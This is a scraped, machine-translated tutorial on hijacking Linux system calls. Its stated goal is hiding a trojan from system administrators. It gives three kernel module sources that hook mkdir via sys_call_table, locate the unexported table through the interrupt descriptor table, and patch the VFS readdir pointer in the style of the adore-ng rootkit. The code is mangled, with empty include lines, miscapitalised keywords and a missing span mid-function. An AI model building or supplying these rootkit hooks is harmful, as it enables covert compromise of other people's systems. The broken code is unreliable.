Implement Linux call hijacking

Source: Internet
Author: User

About System Call hijacking
If a trojan is to be hidden, it is not discovered by the system administrator. It seems necessary to intercept system calls. In most cases, you can modify the system call table to hijack the system call. The following is a typical module for intercepting system calls:
Module 1:
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
Module_license ("GPL ");
Extern void * sys_call_table [];/* sys_call_table is exported, so we can accessit. But in some system this will cause problem */
INT (* orig_mkdir) (const char * path);/* The original systemcall */
Int hacked_mkdir (const char * path)
{
Return 0;/* everything is OK, but he new systemcall does nothing */
}
Int init_module (void)/* module setup */
{
Orig_mkdir = sys_call_table [sys_mkdir];
Sys_call_table [sys_mkdir] = hacked_mkdir;
Return 0;
}
Void cleanup_module (void)/* module shutdown */
{
Sys_call_table [sys_mkdir] = orig_mkdir;
/* Set mkdir syscall to the origal one */
}
The premise for implementing system calling using this method is that the system must export the sys_call_table kernel symbol, but in the 2.6 kernel and some 2.4 kernel systems (such
In RedHat as 3), sys_call_table is no longer exported. That is to say, the module can no longer use the simple extern void
* Sys_call_table []; To obtain the address of the system call table. Fortunately, even if the kernel does not export sys_call_table, you can find its address in the memory.
Is its implementation method:
Module 2: (2.4 and 2.6 kernel Tests passed)
# Include
# Include
# Include
# Include
# Include
Module_license ("GPL ");
Module_author ("
[Email = xunil @ bmy] xunil @ bmy [/Email]
");
Module_description ("different from others, this module automatically locate the entry
Sys_call_table! ");
Unsigned long * sys_call_table = NULL;
Asmlinkage int (* orig_mkdir) (const char *, INT );
Struct _ IDT
{
Unsigned short offset_low, segment_sel;
Unsigned char reserved, flags;
Unsigned short offset_high;
};
Unsigned long * getsctable (){
Unsigned char idtr [6], * shell, * sort;
Struct _ IDT * IDT;
Unsigned long system_call, SCT;
Unsigned short offset_low, offset_high;
Char * P;
Int I;

/* Get the Interrupt Descriptor Table */
_ ASM _ ("sidt % 0": "= m" (idtr ));
/* Get the address of system_call */
IDT = (struct _ IDT *) (* (unsigned long *) & idtr [2] + 8*0x80 );
Offset_low = IDT-> offset_low;
Offset_high = IDT-> offset_high;
System_call = (offset_highpid );
Return orig_mkdir (pathname, mode );
}
Static int _ init find_init (void ){
Sys_call_table = getsctable ();
Orig_mkdir = (INT (*) (const char *, INT) sys_call_table [_ nr_mkdir];
Sys_call_table [_ nr_mkdir] = (unsigned long) hacked_mkdir;
Return 0;
}
Static void _ exit find_cleanup (void ){
Sys_call_table [_ nr_mkdir] = (unsigned long) orig_mkdir;
}
Module_init (find_init );
Module_exit (find_cleanup );
Getsctable () is a function used to find the sys_call_table address in the memory.
Every system call uses an int
The 0x80 interrupt enters the core. The Interrupt Descriptor Table maps the interrupt service program with the interrupt vector. For system calls, the operating system calls the system_call to interrupt the service program.
The system_call function finds and calls the corresponding system call service routine in the system call table based on the system call number. The idtr register points to the starting address of the Interrupt Descriptor Table.
_ ASM _ ("sidt % 0": "= m" (idtr); the command obtains the start address of the Interrupt Descriptor Table, and the pointer obtained from this command can get the int
0x80 indicates the location of the interrupt server Descriptor and calculates the address of the system_call function. Decompile the system_call function to see the system_call Function
The call sys_call_table command is used to call the system call function.
Therefore, you only need to find the machine command of the call sys_call_table (, eax, 4) command in system_call to obtain the entry address of the system call table.
Adore-ng rootkit provides a new method for intercepting system calls related to the file system. Simply put, the system call is intercepted by modifying the function jump table of the vfs file system. This method does not need to be called by the system call table.
The implementation method is as follows:
Module 3: (2.4 and 2.6 kernel Tests passed)
# Include
# Include
# Include
# Include
# Include
# Include
Module_author ("
[Email = xunil @ bmy] xunil @ bmy [/Email]
");
Module_description ("by utilizing the VFS filesystem, this module can capturesystem CILS .");
Module_license ("GPL ");
Char * root_fs = "/";
Typedef int (* readdir_t) (struct file *, void *, filldir_t );
Readdir_t orig_root_readdir = NULL;
Int myreaddir (struct file * FP, void * Buf, filldir_t filldir)
{
Int R;
Printk ("You got me partner! /N ");
R = orig_root_readdir (FP, Buf, filldir );
Return R;
}
Int patch_vfs (const char * P, readdir_t * orig_readdir, readdir_t new_readdir)
{
Struct file * filep;
Filep = filp_open (p, o_rdonly, 0 );
If (is_err (filep ))
Return-1;
If (orig_readdir)
* Orig_readdir = filep-> f_op-> readdir;
Filep-> f_op-> readdir = new_readdir;
Filp_close (filep, 0 );
Return 0;
}
Int unpatch_vfs (const char * P, readdir_t orig_readdir)
{
Struct file * filep;
Filep = filp_open (p, o_rdonly, 0 );
If (is_err (filep ))
Return-1;
Filep-> f_op-> readdir = orig_readdir;
Filp_close (filep, 0 );
Return 0;
}
Static int patch_init (void)
{
Patch_vfs (root_fs, & orig_root_readdir, myreaddir );
Printk ("VFS is patched! /N ");
Return 0;
}
Static void patch_cleanup (void)
{
Unpatch_vfs (root_fs, orig_root_readdir );
Printk ("VFS is unpatched! /N ");
}
Module_init (patch_init );
Module_exit (patch_cleanup );

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.